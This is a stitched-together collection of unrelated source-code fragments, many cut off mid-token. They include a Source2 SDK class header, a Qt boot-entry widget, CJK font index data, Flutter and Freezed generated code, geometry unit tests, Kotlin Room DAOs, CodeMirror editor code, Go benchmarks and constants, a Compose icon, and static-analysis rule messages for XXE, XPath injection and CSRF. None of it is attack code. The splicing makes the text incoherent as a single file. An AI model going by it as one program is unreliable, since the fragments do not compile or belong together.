#include "source2sdk/source2gen/source2gen.hpp"
#include <cstddef>
#include <cstdint>
#include "source2sdk/navlib/CNavVolume.hpp"

// /////////////////////////////////////////////////////////////
// Module: navlib
// Created using source2gen - github.com/neverlosecc/source2gen
// /////////////////////////////////////////////////////////////

namespace source2sdk
{
    namespace navlib
    {
        // Registered alignment: unknown
        // Alignment: 0x4
        // Standard-layout class: false
        // Size: 0x80
        // Has VTable
        #pragma pack(push, 1)
        class CNavVolumeSphere : public source2sdk::navlib::CNavVolume
        {
        public:
            Vector m_vCenter; // 0x70
            float m_flRadius; // 0x7c
        };
        #pragma pack(pop)

        // Cannot assert offsets of fields in CNavVolumeSphere because it is not a standard-layout class

        static_assert(sizeof(source2sdk::navlib::CNavVolumeSphere) == 0x80);
    };
};
// SPDX-License-Identifier: LGPL-3.0-or-later
#include "compat.h"

#include "bootentrywidget.h"
#include "form/ui_bootentrywidget.h"
#include <QMouseEvent>

BootEntryWidget::BootEntryWidget(QWidget *parent)
    : QWidget(parent)
    , ui(std::make_unique<Ui::BootEntryWidget>())
{
    ui->setupUi(this);
    ui->current_boot->setMaximumSize(6, 6);

    QObject::connect(ui->next_boot, &QRadioButton::clicked, this, &BootEntryWidget::nextBootClicked);
}

BootEntryWidget::~BootEntryWidget()
{
}

void BootEntryWidget::setReadOnly(bool readonly)
{
    ui->next_boot->setDisabled(readonly);
}

void BootEntryWidget::showBootOptions(bool is_boot)
{
    ui->current_boot->setVisible(is_boot);
    ui->next_boot->setVisible(is_boot);
}

void BootEntryWidget::showDevicePath(bool not_error)
{
    ui->device_path->setVisible(not_error);
}

void BootEntryWidget::setIndex(const uint32_t index)
{
    ui->index->setText(toHex(index, 4));
}

void BootEntryWidget::setDescription(const QString &description)
{
    ui->description->setText(description);
    ui->description->setStatusTip(description);
    setStatusTip(description);
    setToolTip(description);
}

void BootEntryWidget::setDevicePath(const QString &device_path)
{
    ui->device_path->setText(device_path);
    ui->device_path->setStatusTip(device_path);
}

void BootEntryWidget::setData(const QString &_data)
{
    ui->data->setText(_data);
    ui->data->setStatusTip(_data);
    ui->data->setHidden(_data.isEmpty());
}

auto BootEntryWidget::getNextBoot() const -> bool
{
    return ui->next_boot->isChecked();
}

void BootEntryWidget::setNextBoot(bool next_boot)
{
    ui->next_boot->setChecked(next_boot);
}

auto BootEntryWidget::getCurrentBoot() const -> bool
{
    return ui->current_boot->isChecked();
}

void BootEntryWidget::setCurrentBoot(bool current_boot)
{
    ui->current_boot->setChecked(current_boot);
    ui->current_boot->setHidden(!current_boot);
}
// SPDX-License-Identifier: LGPL-3.0-or-later
#include "compat.h"

#include "devicepathproxymodel.h"

DevicePathProxyModel::DevicePathProxyModel(QObject *parent)
    : QAbstractListModel(parent)
{
}

void DevicePathProxyModel::setBootEntryListModel(BootEntryListModel &model)
{
    boot_entry_


 #5888: 5 fonts: HK 101₁₂₈, JP 65₂₀₁, KR 71₃₃₁, SC 21₄₀₅, TC 97₅₈₂.
    '4y2u4z2v6u,'
    // #5889: 5 fonts: HK 101₁₂₈, JP 68₂₀₄, KR 87₃₄₇, SC 92₄₇₆, TC 97₅₈₂.
    '4y2x5m4y4b,'
    // #5890: 5 fonts: HK 101₁₂₈, JP 68₂₀₄, KR 93₃₅₃, SC 92₄₇₆, TC 97₅₈₂.
    '4y2x5s4s4b,'
    // #5891: 5 fonts: HK 101₁₂₈, JP 71₂₀₇, KR 85₃₄₅, SC 92₄₇₆, TC 97₅₈₂.
    '4y3a5h5a4b,'
    // #5892: 5 fonts: HK 101₁₂₈, JP 72₂₀₈, KR 67₃₂₇, SC 9₃₉₃, TC 97₅₈₂.
    '4y3b4o2n7g,'
    // #5893: 5 fonts: HK 101₁₂₈, JP 73₂₀₉, KR 83₃₄₃, SC 92₄₇₆, TC 97₅₈₂.
    '4y3c5d5c4b,'
    // #5894: 5 fonts: HK 101₁₂₈, JP 75₂₁₁, KR 67₃₂₇, SC 12₃₉₆, TC 97₅₈₂.
    '4y3e4l2q7d,'
    // #5895: 5 fonts: HK 101₁₂₈, JP 75₂₁₁, KR 67₃₂₇, SC 90₄₇₄, TC 97₅₈₂.
    '4y3e4l5q4d,'
    // #5896: 5 fonts: HK 101₁₂₈, JP 75₂₁₁, KR 75₃₃₅, SC 92₄₇₆, TC 97₅₈₂.
    '4y3e4t5k4b,'
    // #5897: 5 fonts: HK 101₁₂₈, JP 78₂₁₄, KR 87₃₄₇, SC 54₄₃₈, TC 97₅₈₂.
    '4y3h5c3m5n,'
    // #5898: 5 fonts: HK 101₁₂₈, JP 81₂₁₇, KR 71₃₃₁, SC 21₄₀₅, TC 97₅₈₂.
    '4y3k4j2v6u,'
    // #5899: 5 fonts: HK 101₁₂₈, JP 81₂₁₇, KR 85₃₄₅, SC 93₄₇₇, TC 97₅₈₂.
    '4y3k4x5b4a,'
    // #5900: 5 fonts: HK 101₁₂₈, JP 81₂₁₇, KR 92₃₅₂, SC 92₄₇₆, TC 97₅₈₂.
    '4y3k5e4t4b,'
    // #5901: 5 fonts: HK 101₁₂₈, JP 82₂₁₈, KR 86₃₄₆, SC 92₄₇₆, TC 97₅₈₂.
    '4y3l4x4z4b,'
    // #5902: 5 fonts: HK 101₁₂₈, JP 83₂₁₉, KR 87₃₄₇, SC 91₄₇�


DetailsPage.pricingPlan.details.premiumPrice.or,
                        style: AppTextStyle.textStyle.copyWith(
                          fontSize: 12,
                        ),
                      ),
                      const Gap(12),
                      Column(
                        mainAxisAlignment: MainAxisAlignment.center,
                        children: [
                          Text(
                            t.billDetailsPage.pricingPlan.details.premiumPrice
                                .unlimited,
                            style: planTextStyle,
                          ),
                          const Gap(12),
                          Text(
                            t.billDetailsPage.pricingPlan.details.premiumPrice
                                .unlimitedPrice(
                              price: purchaseItemPrices[PurchaseItemConfig
                                  .unlimitedPremium.packageId]!,
                            ),
                            style: planTextStyle,
                          ),
                        ],
                      ),
                    ],
                  ),
                ),
              ],
            ),
          ],
        ),
      ],
    );
  }

  LayoutBuilder tableBuilder(List<Widget> children) {
    return LayoutBuilder(
      builder: (BuildContext context, BoxConstraints constraints) {
        return (constraints.maxWidth < 220)
            ? Column(
                mainAxisAlignment: MainAxisAlignment.center,
                children: children,
              )
            : Row(
                mainAxisAlignment: MainAxisAlignment.center,
                children: children,
              );
      },
    );
  }

  double getWidgetWidth(List<Widget> children, BuildContext context) {
    final box = context.findRenderObject()! as RenderBox;
    return box.size.width;
  }
}
// coverage:ignore-file
// GENERATED CODE - DO NOT MODIFY BY HAND
// ignore_for_file: type=lint
// ignore_for_file: unused_element, deprecated_member_use, deprecated_member_use_from_same_package, use_function_type_syntax_for_parameters, unnecessary_const, avoid_init_to_null, invalid_override_different_default_values_named, prefer_expression_function_bodies, annotate_overrides, invalid_annotation_target, unnecessary_question_mark

part of 'edit_profile_page_state.dart';

// **************************************************************************
// FreezedGenerator
// **************************************************************************

T _$identity<T>(T value) => value;

final _privateConstructorUsedError = UnsupportedError(
    'It seems like you constructed your class using `MyClass._()`. This constructor is only meant to be used by freezed and you are not supposed to need it nor use it.\nPlease check the documentation here for more information: https://github.com/rrousselGit/freezed#adding-getters-and-methods-to-our-models');

/// @nodoc
mixin _$EditProfilePageState {
  File? get imageFile => throw _privateConstructorUsedError;
  bool get imageChanged => throw _privateConstructorUsedError;

  /// Create a copy of EditProfilePageState
  /// with the given fields replaced by the non-null parameter values.
  @JsonKey(includeFromJson: false, includeToJson: false)
  $EditProfilePageStateCopyWith<EditProfilePageState> get copyWith =>
      throw _privateConstructorUsedError;
}

/// @nodoc
abstract class $EditProfilePageStateCopyWith<$Res> {
  factory $EditProfilePageStateCopyWith(EditProfilePageState value,
          $Res Function(EditProfilePageState) then) =
      _$EditProfilePageStateCopyWithImpl<$Res, EditProfilePageState>;
  @useResult
  $Res call({File? imageFile, bool imageChanged});
}

/// @nodoc
class _$EditProfilePageStateCopyWithImpl<$Res,
        $Val extends EditProfilePageState>
    implements $EditPr


/* Copyright 2020. Martin Uecker.
 * All rights reserved. Use of this source code is governed by
 * a BSD-style license which can be found in the LICENSE file.
 *
 * Authors:
 * 2019-2020 Martin Uecker <muecker@gwdg.de>
 */

#include <math.h>

#include "geom/polygon.h"
#include "geom/polyhedron.h"
#include "geom/triangle.h"

#include "utest.h"

static bool test_winding_number(void)
{
	double p[2] = { 0., 0. };

	double pg[4][2] = {
		{  1., -1. },
		{  1.,  1. },
		{ -1.,  1. },
		{ -1., -1. },
	};

	return (1 == polygon_winding_number(4, pg, p));
}

UT_REGISTER_TEST(test_winding_number);

static bool test_triangle_intersect(void)
{
	float o[3] = { 0., 0., 0. };
	float d[3] = { 1., 0., 0. };
	float t[3][3] = {

		{ 1., -1., -1. },
		{ 1., -1.,  1. },
		{ 1.,  1.,  0. },
	};

	float uv[2];

	return (1. == triangle_intersect(uv, o, d, t));
}

UT_REGISTER_TEST(test_triangle_intersect);

static bool test_polygon_area(void)
{
	double pg[4][2] = { { 0., 0. }, { 1., 0. }, { 1., 1. }, { 0., 1. } };

	return (1. == polygon_area(4, pg));
}

UT_REGISTER_TEST(test_polygon_area);

static bool test_polyhedron_volume(void)
{
	double ph[4][3][3] = {
		{ { +0.5, +0.5, +0.5 }, { +0.5, -0.5, +0.5 }, { +0.5, +0.5, -0.5 } },
		{ { +0.5, +0.5, +0.5 }, { +0.5, +0.5, -0.5 }, { -0.5, +0.5, +0.5 } },
		{ { +0.5, -0.5, +0.5 }, { +0.5, +0.5, +0.5 }, { -0.5, +0.5, +0.5 } },
		{ { +0.5, -0.5, +0.5 }, { -0.5, +0.5, +0.5 }, { +0.5, +0.5, -0.5 } },
	};

	return fabs(1. / 6. - polyhedron_vol(4, ph)) < 1.E-16;
}

UT_REGISTER_TEST(test_polyhedron_volume);


kt_sync_queue ORDER BY created_at ASC")
  override suspend fun getAll(): List<TraktSyncQueue>

  @Query("SELECT * FROM trakt_sync_queue WHERE type IN (:types) ORDER BY created_at ASC")
  override suspend fun getAll(types: List<String>): List<TraktSyncQueue>

  @Query("DELETE FROM trakt_sync_queue WHERE id_trakt IN (:idsTrakt) AND type = :type")
  override suspend fun deleteAll(
    idsTrakt: List<Long>,
    type: String,
  ): Int

  @Query("DELETE FROM trakt_sync_queue WHERE type = :type")
  override suspend fun deleteAll(type: String): Int

  @Query("DELETE FROM trakt_sync_queue")
  override suspend fun deleteAll()

  @Query("DELETE FROM trakt_sync_queue WHERE id_list = :idList")
  override suspend fun deleteAllForList(idList: Long): Int

  @Query(
    "DELETE FROM trakt_sync_queue " +
      "WHERE id_trakt = :idTrakt AND id_list = :idList AND type = :type AND operation = :operation",
  )
  override suspend fun delete(
    idTrakt: Long,
    idList: Long,
    type: String,
    operation: String,
  ): Int
}
@file:Suppress("ktlint:standard:max-line-length")

package com.michaldrabik.data_local.database.dao

import androidx.room.Dao
import androidx.room.Query
import androidx.room.Transaction
import com.michaldrabik.data_local.database.model.Movie
import com.michaldrabik.data_local.database.model.MovieCollectionItem
import com.michaldrabik.data_local.sources.MovieCollectionsItemsLocalDataSource

@Dao
interface MovieCollectionsItemsDao :
  BaseDao<MovieCollectionItem>,
  MovieCollectionsItemsLocalDataSource {

  @Query(
    """
    SELECT
    movies.id_trakt,
    movies.id_tmdb,
    movies.id_imdb,
    movies.id_slug,
    movies.title,
    movies.year,
    movies.overview,
    movies.released,
    movies.runtime,
    movies.country,
    movies.trailer,
    movies.language,
    movies.homepage,
    movies.status,
    movies.rating,
    movies.votes,
    movies.comment_count,
    movies.genres,
    movies_collections_items.updated_at AS updated_at,
    movies_collections_items.created_at AS created_at
    FROM movies INNER JOIN movies_collections_items USING(id_trakt)
    WHERE id_trakt_collection == :collectionId
    ORDER BY rank ASC""",
  )
  override suspend fun getById(collectionId: Long): List<Movie>

  @Transaction
  override suspend fun replace(
    collectionId: Long,
    items: List<MovieCollectionItem>,
  ) {
    deleteById(collectionId)
    insert(items)
  }

  @Query("DELETE FROM movies_collections_items WHERE id_trakt_collection == :collectionId")
  override suspend fun deleteById(collectionId: Long)
}
package com.michaldrabik.ui_gallery.fanart

import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import com.michaldrabik.ui_base.utilities.events.Event
import com.michaldrabik.ui_base.utilities.extensions.SUBSCRIBE_STOP_TIMEOUT
import com.michaldrabik.ui_gallery.fanart.cases.ArtLoadImagesCase
import com.michaldrabik.ui_model.IdTrakt
import com.michaldrabik.ui_model.Ids
import com.michaldrabik.ui_model.Image
import com.michaldrabik.ui_model.ImageFamily
import com


 click is done outside of the selection
    // and 'resetSelectionOnContextMenu' option is true.
    var reset = cm.options.resetSelectionOnContextMenu;
    if (reset && cm.doc.sel.contains(pos) == -1)
      operation(cm, setSelection)(cm.doc, simpleSelection(pos), sel_dontScroll);

    var oldCSS = display.input.style.cssText;
    display.inputDiv.style.position = "absolute";
    display.input.style.cssText = "position: fixed; width: 30px; height: 30px; top: " + (e.clientY - 5) +
      "px; left: " + (e.clientX - 5) + "px; z-index: 1000; background: " +
      (ie ? "rgba(255, 255, 255, .05)" : "transparent") +
      "; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";
    focusInput(cm);
    resetInput(cm);
    // Adds "Select all" to context menu in FF
    if (!cm.somethingSelected()) display.input.value = display.prevInput = " ";
    display.selForContextMenu = cm.doc.sel;
    clearTimeout(display.detectingSelectAll);

    // Select-all will be greyed out if there's nothing to select, so
    // this adds a zero-width space so that we can later check whether
    // it got selected.
    function prepareSelectAllHack() {
      if (display.input.selectionStart != null) {
        var selected = cm.somethingSelected();
        var extval = display.input.value = "\u200b" + (selected ? display.input.value : "");
        display.prevInput = selected ? "" : "\u200b";
        display.input.selectionStart = 1; display.input.selectionEnd = extval.length;
        // Re-set this, in case some other handler touched the
        // selection in the meantime.
        display.selForContextMenu = cm.doc.sel;
      }
    }
    function rehide() {
      display.inputDiv.style.position = "relative";
      display.input.style.cssText = oldCSS;
      if (ie && ie_version < 9) display.scrollbarV.scrollTop = display.scroller.scrollTop = scrollPos;
      slowPoll(cm);

      // Try to detect the user choosing select-all
      if (display.input.selectionStart != null) {
        if (!ie || (ie && ie_version < 9)) prepareSelectAllHack();
        var i = 0, poll = function() {
          if (display.selForContextMenu == cm.doc.sel && display.input.selectionStart == 0)
            operation(cm, commands.selectAll)(cm);
          else if (i++ < 10) display.detectingSelectAll = setTimeout(poll, 500);
          else resetInput(cm);
        };
        display.detectingSelectAll = setTimeout(poll, 200);
      }
    }

    if (ie && ie_version >= 9) prepareSelectAllHack();
    if (captureRightClick) {
      e_stop(e);
      var mouseup = function() {
        off(window, "mouseup", mouseup);
        setTimeout(rehide, 20);
      };
      on(window, "mouseup", mouseup);
    } else {
      setTimeout(rehide, 50);
    }
  }

  function contextMenuInGutter(cm, e) {
    if (!hasHandler(cm, "gutterContextMenu")) return false;
    return gutterEvent(cm, e, "gutterContextMenu", false, signal);
  }

  // UPDATING

  // Compute the position of the end of a change (its 'to' property
  // refers to the pre-change end).
  var changeEnd = CodeMirror.changeEnd = function(change) {
    if (!change.text) return change.to;


from fastapi import APIRouter

router = APIRouter(
	prefix="/game",
	tags=["game"]
)

@router.get("/")
async def get_game():
	return "default message from game"


/// @nodoc
mixin _$Creator {

@JsonKey(name: "_id") String get id;@JsonKey(name: "gender") String get gender;@JsonKey(name: "name") String get name;@JsonKey(name: "verified") bool get verified;@JsonKey(name: "exp") int get exp;@JsonKey(name: "level") int get level;@JsonKey(name: "characters") List<String> get characters;@JsonKey(name: "role") String get role;@JsonKey(name: "avatar") Thumb get avatar;@JsonKey(name: "title") String get title;@JsonKey(name: "slogan") String get slogan;
/// Create a copy of Creator
/// with the given fields replaced by the non-null parameter values.
@JsonKey(includeFromJson: false, includeToJson: false)
@pragma('vm:prefer-inline')
$CreatorCopyWith<Creator> get copyWith => _$CreatorCopyWithImpl<Creator>(this as Creator, _$identity);

  /// Serializes this Creator to a JSON map.
  Map<String, dynamic> toJson();

@override
bool operator ==(Object other) {
  return identical(this, other) || (other.runtimeType == runtimeType&&other is Creator&&(identical(other.id, id) || other.id == id)&&(identical(other.gender, gender) || other.gender == gender)&&(identical(other.name, name) || other.name == name)&&(identical(other.verified, verified) || other.verified == verified)&&(identical(other.exp, exp) || other.exp == exp)&&(identical(other.level, level) || other.level == level)&&const DeepCollectionEquality().equals(other.characters, characters)&&(identical(other.role, role) || other.role == role)&&(identical(other.avatar, avatar) || other.avatar == avatar)&&(identical(other.title, title) || other.title == title)&&(identical(other.slogan, slogan) || other.slogan == slogan));
}

@JsonKey(includeFromJson: false, includeToJson: false)
@override
int get hashCode => Object.hash(runtimeType,id,gender,name,verified,exp,level,const DeepCollectionEquality().hash(characters),role,avatar,title,slogan);

@override
String toString() {
  return 'Creator(id: $id, gender: $gender, name: $name, verified: $verified, exp: $exp, level: $level, characters: $characters, role: $role, avatar: $avatar, title: $title, slogan: $slogan)';
}

}

/// @nodoc
abstract mixin class $CreatorCopyWith<$Res>  {
  factory $CreatorCopyWith(Creator value, $Res Function(Creator) _then) = _$CreatorCopyWithImpl;
@useResult
$Res call({
@JsonKey(name: "_id") String id,@JsonKey(name: "gender") String gender,@JsonKey(name: "name") String name,@JsonKey(name: "verified") bool verified,@JsonKey(name: "exp") int exp,@JsonKey(name: "level") int level,@JsonKey(name: "characters") List<String> characters,@JsonKey(name: "role") String role,@JsonKey(name: "avatar") Thumb avatar,@JsonKey(name: "title") String title,@JsonKey(name: "slogan") String slogan
});

$ThumbCopyWith<$Res> get avatar;

}
/// @nodoc
class _$CreatorCopyWithImpl<$Res>
    implements $CreatorCopyWith<$Res> {
  _$CreatorCopyWithImpl(this._self, this._then);

  final Creator _self;
  final $Res Function(Creator) _then;

/// Create a copy of Creator
/// with the given fields replaced by the non-null parameter values.
@pragma('vm:prefer-inline') @override $Res call({Object? id = null,Object? gender = null,Object?


			mergesortv3(s[middle:])

			wg.Wait()
			merge(s, middle)
		}
	}
}

// Generates a slice of size, size filled with random numbers
func generateSlice(size int) []int {

	slice := make([]int, size, size)
	rand.Seed(time.Now().UnixNano())
	for i := 0; i < size; i++ {
		slice[i] = rand.Intn(999) - rand.Intn(999)
	}
	return slice
}

func main() {
	version := "v1"
	if len(os.Args) == 2 {
		version = os.Args[1]
	}

	f, err := os.OpenFile(version+".trace", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
	if err != nil {
		fmt.Println("Error:", err)
		return
	}

	trace.Start(f)
	defer trace.Stop()

	for i := 0; i < 10000; i++ {
		s := generateSlice(10)

		switch version {
		case "v1":
			mergesortv1(s)
		case "v2":
			mergesortv2(s)
		case "v3":
			mergesortv3(s)
		}
	}

}
// Copyright 2017 The go-ethereum Authors
// This file is part of the go-ethereum library.
//
// The go-ethereum library is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// The go-ethereum library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with the go-ethereum library. If not, see <http://www.gnu.org/licenses/>.

package params

// These are network parameters that need to be constant between clients, but
// aren't necessarily consensus related.

const (
	// BloomBitsBlocks is the number of blocks a single bloom bit section vector
	// contains on the server side.
	BloomBitsBlocks uint64 = 4096

	// BloomBitsBlocksClient is the number of blocks a single bloom bit section vector
	// contains on the light client side
	BloomBitsBlocksClient uint64 = 32768

	// BloomConfirms is the number of confirmation blocks before a bloom section is
	// considered probably final and its rotated bits are calculated.
	BloomConfirms = 256

	// CHTFrequency is the block frequency for creating CHTs
	CHTFrequency = 32768

	// BloomTrieFrequency is the block frequency for creating BloomTrie on both
	// server/client sides.
	BloomTrieFrequency = 32768

	// HelperTrieConfirmations is the number of confirmations before a client is expected
	// to have the given HelperTrie available.
	HelperTrieConfirmations = 2048

	// HelperTrieProcessConfirmations is the number of confirmations before a HelperTrie
	// is generated
	HelperTrieProcessConfirmations = 256

	// CheckpointFrequency is the block frequency for creating checkpoint
	CheckpointFrequency = 32768

	// CheckpointProcessConfirmations is the number before a checkpoint is generated
	CheckpointProcessConfirmations = 256

	// FullImmutabilityThreshold is the number of blocks after which a chain segment is
	// considered immutable (i.e. soft finality). It is used by the downloader as a
	// hard limit against deep ancestors, by the blockchain against deep reorgs, by
	// the freezer as the cutoff threshold and by clique as the snapshot trust limit.
	FullImmutabilityThreshold = 90000

	// LightImmutabilityThreshold is the number of blocks after which a head


 multiLoadgen,

			LoadWarehouses: 12000,
			EstimatedMax:   8000,

			MinVersion: "V19.1.0",
		},
		// objective 4, key result 2.
		{
			Nodes: 64,
			CPUs:  16,

			LoadWarehouses: 50000,
			EstimatedMax:   40000,
		},

		// See https://gitee.com/kwbasedb/kwbase/issues/31409 for the next three specs.
		{
			Nodes: 6,
			CPUs:  16,

			LoadWarehouses: 5000,
			EstimatedMax:   3000,
			LoadConfig:     singlePartitionedLoadgen,
		},
		{
			Nodes: 12,
			CPUs:  16,

			LoadWarehouses: 10000,
			EstimatedMax:   6000,
			LoadConfig:     singlePartitionedLoadgen,
		},
		{
			Nodes: 24,
			CPUs:  16,

			LoadWarehouses: 20000,
			EstimatedMax:   12000,
			LoadConfig:     singlePartitionedLoadgen,
		},

		// Requested by @awoods87.
		{
			Nodes: 11,
			CPUs:  32,

			LoadWarehouses: 10000,
			EstimatedMax:   8000,
		},
	}

	for _, b := range specs {
		registerTPCCBenchSpec(r, b)
	}
}
// Copyright 2018 The Cockroach Authors.
// Copyright (c) 2022-present, Shanghai Yunxi Technology Co, Ltd. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// This software (KWDB) is licensed under Mulan PSL v2.
// You can use this software according to the terms and conditions of the Mulan PSL v2.
// You may obtain a copy of Mulan PSL v2 at:
//          http://license.coscl.org.cn/MulanPSL2
// THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
// EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
// MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
// See the Mulan PSL v2 for more details.

package main

import (
	"bufio"
	"bytes"
	"context"
	gosql "database/sql"
	"encoding/json"
	"fmt"
	"io"
	"io/ioutil"
	"math/rand"
	"net"
	"net/url"
	"os"
	"os/exec"
	"os/user"
	"path/filepath"
	"regexp"
	"runtime"
	"sort"
	"strconv"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"gitee.com/kwbasedb/kwbase/pkg/util/contextutil"
	"gitee.com/kwbasedb/kwbase/pkg/util/log"
	"gitee.com/kwbasedb/kwbase/pkg/util/quotapool"
	"gitee.com/kwbasedb/kwbase/pkg/util/syncutil"
	"gitee.com/kwbasedb/kwbase/pkg/util/timeutil"
	"github.com/armon/circbuf"
	"github.com/cockroachdb/errors"
	_ "github.com/lib/pq"
	"golang.org/x/sync/errgroup"
)

const (
	aws   = "aws"
	gce   = "gce


                arcToRelative(6.49f, 6.49f, 0.0f, false, false, 1.64f, 3.0f)
                lineTo(6.25f, 22.0f)
                curveTo(5.01f, 22.0f, 4.0f, 21.0f, 4.0f, 19.75f)
                lineTo(4.0f, 4.25f)
                curveTo(4.0f, 3.01f, 5.0f, 2.0f, 6.25f, 2.0f)
                horizontalLineToRelative(7.5f)
                close()
                moveTo(17.5f, 14.0f)
                horizontalLineToRelative(-0.09f)
                arcToRelative(0.5f, 0.5f, 0.0f, false, false, -0.4f, 0.4f)
                lineToRelative(-0.01f, 0.1f)
                lineTo(17.0f, 17.0f)
                horizontalLineToRelative(-2.6f)
                arcToRelative(0.5f, 0.5f, 0.0f, false, false, -0.4f, 0.41f)
                verticalLineToRelative(0.18f)
                curveToRelative(0.04f, 0.2f, 0.2f, 0.36f, 0.4f, 0.4f)
                lineToRelative(0.1f, 0.01f)
                lineTo(17.0f, 18.0f)
                verticalLineToRelative(2.6f)
                curveToRelative(0.05f, 0.2f, 0.2f, 0.36f, 0.41f, 0.4f)
                horizontalLineToRelative(0.18f)
                arcToRelative(0.5f, 0.5f, 0.0f, false, false, 0.4f, -0.4f)
                lineToRelative(0.01f, -0.1f)
                lineTo(18.0f, 18.0f)
                horizontalLineToRelative(2.6f)
                arcToRelative(0.5f, 0.5f, 0.0f, false, false, 0.4f, -0.41f)
                verticalLineToRelative(-0.18f)
                arcToRelative(0.5f, 0.5f, 0.0f, false, false, -0.4f, -0.4f)
                lineToRelative(-0.1f, -0.01f)
                lineTo(18.0f, 17.0f)
                verticalLineToRelative(-2.6f)
                arcToRelative(0.5f, 0.5f, 0.0f, false, false, -0.41f, -0.4f)
                horizontalLineToRelative(-0.09f)
                close()
            }
        }
        return _phoneAdd!!
    }

private var _phoneAdd: ImageVector? = null
package io.github.composegears.valkyrie.parser.kmp.svg

import io.github.composegears.valkyrie.ir.IrColor
import io.github.composegears.valkyrie.ir.IrFill
import io.github.composegears.valkyrie.ir.IrImageVector
import io.github.composegears.valkyrie.ir.IrPathFillType
import io.github.composegears.valkyrie.ir.IrPathNode
import io.github.composegears.valkyrie.ir.IrStroke
import io.github.composegears.valkyrie.ir.IrVectorNode
import io.github.composegears.valkyrie.parser.common.PathParser

private typealias ViewBox = List<Float>

object SVGParser {

    fun parse(content: String): IrImageVector = SVGDeserializer.deserialize(content).toImageVector()

    private val ViewBox.width get() = get(2) - get(0)
    private val ViewBox.height get() = get(3) - get(1)

    // NOTE: width and height are defaulted to SVG sizing specs
    private const val DEFAULT_WIDTH = 300f
    private const val DEFAULT_HEIGHT = 150f

    private fun SVG.toImageVector(): IrImageVector {
        var width = width?.filter { !it.isLetter() }?.toFloat()
        var height = height?.filter { !it.isLetter() }?.toFloat()
        val rect: ViewBox? = viewBox?.split(" ")?.map { it.toFloat() }

        if (width == null && rect != null) {
            width = rect.width
        }
        if (height == null && rect != null) {


密性" },
            Language.EN to msgGenerator { "The cipher uses ECB mode, which provides poor confidentiality for encrypted data" }
        )
        override val checker: IChecker = InsecureCipherChecker
    }

    object HazelcastSymmetricEncryption : CheckType() {
        override val bugMessage: Map<Language, BugMessage> = mapOf(
            Language.ZH to msgGenerator { "Hazelcast 的网络通信被配置为使用对称密码" },
            Language.EN to msgGenerator { "The network communication for Hazelcast are configured to use a symmetric cipher" }
        )
        override val checker: IChecker = InsecureCipherChecker
    }
}
object XxeChecker : IChecker {
    override val report: IRule = FeyshRules.Xxe
    override val standards: Set<IRule> = setOf(
        CWERules.CWE611,
//        CERTRules.,
    )

    object XxeRemote : CheckType() {
        override val bugMessage: Map<Language, BugMessage> = mapOf(
            Language.ZH to msgGenerator { "XML (`${args["type"]}`) 外部实体扩展中使用的未验证的远程用户输入" },
            Language.EN to msgGenerator { "Unvalidated remote user input that is used in XML (`${args["type"]}`) external entity expansion" }
        )
        override val checker: IChecker = XxeChecker
    }
    object XxeLocal : CheckType() {
        override val bugMessage: Map<Language, BugMessage> = mapOf(
            Language.ZH to msgGenerator { "XML (`${args["type"]}`) 外部实体扩展中使用的未验证的本地用户输入" },
            Language.EN to msgGenerator { "Unvalidated local user input that is used in XML (`${args["type"]}`) external entity expansion" }
        )
        override val checker: IChecker = XxeChecker
    }
}

object XpathiChecker : IChecker {
    override val report: IRule = FeyshRules.Xpathi
    override val standards: Set<IRule> = setOf(
        CWERules.CWE643,
//        CERTRules.,
    )

    object XpathInjection : CheckType() {
        override val bugMessage: Map<Language, BugMessage> = mapOf(
            Language.ZH to msgGenerator { "使用 `$callee` 可能容易受到 XPath 注入的攻击" },
            Language.EN to msgGenerator { "This use of `$callee` can be vulnerable to XPath Injection" }
        )
        override val checker: IChecker = XpathiChecker
    }
}

object CsrfChecker : IChecker {
    override val report: IRule = FeyshRules.Csrf
    override val standards: Set<IRule> = setOf(
        CWERules.CWE352
    )

    object SpringCsrfProtectionDisabled : CheckType() {
        override val bugMessage: Map<Language, BugMessage> = mapOf(
            Language.ZH to msgGenerator { "禁用 Spring Security 的 CSRF 保护对于标准 web 应用程序来说是不安全的" },
            Language.EN to msgGenerator { "Disabling Spring Security's CSRF protection is unsafe for standard web applications" }
        )
        override val checker: IChecker = CsrfChecker
    }

    object SpringCsrfUnrestrictedRequestMapping : CheckType() {
        override val bugMessage: Map<Language, BugMessage> = mapOf(
            Language.ZH to msgGenerator { "不受限制的 Spring 的 RequestMapping 使该方法容易受到 CSRF 攻击" },
            Language.EN to msgGenerator { "Unrestricted Spring's RequestMapping makes the method vulnerable to CSRF attacks" }
        )
        override val checker: IChecker = CsrfChecker
    }
}

object LdapiChecker : IChecker {
    override val report


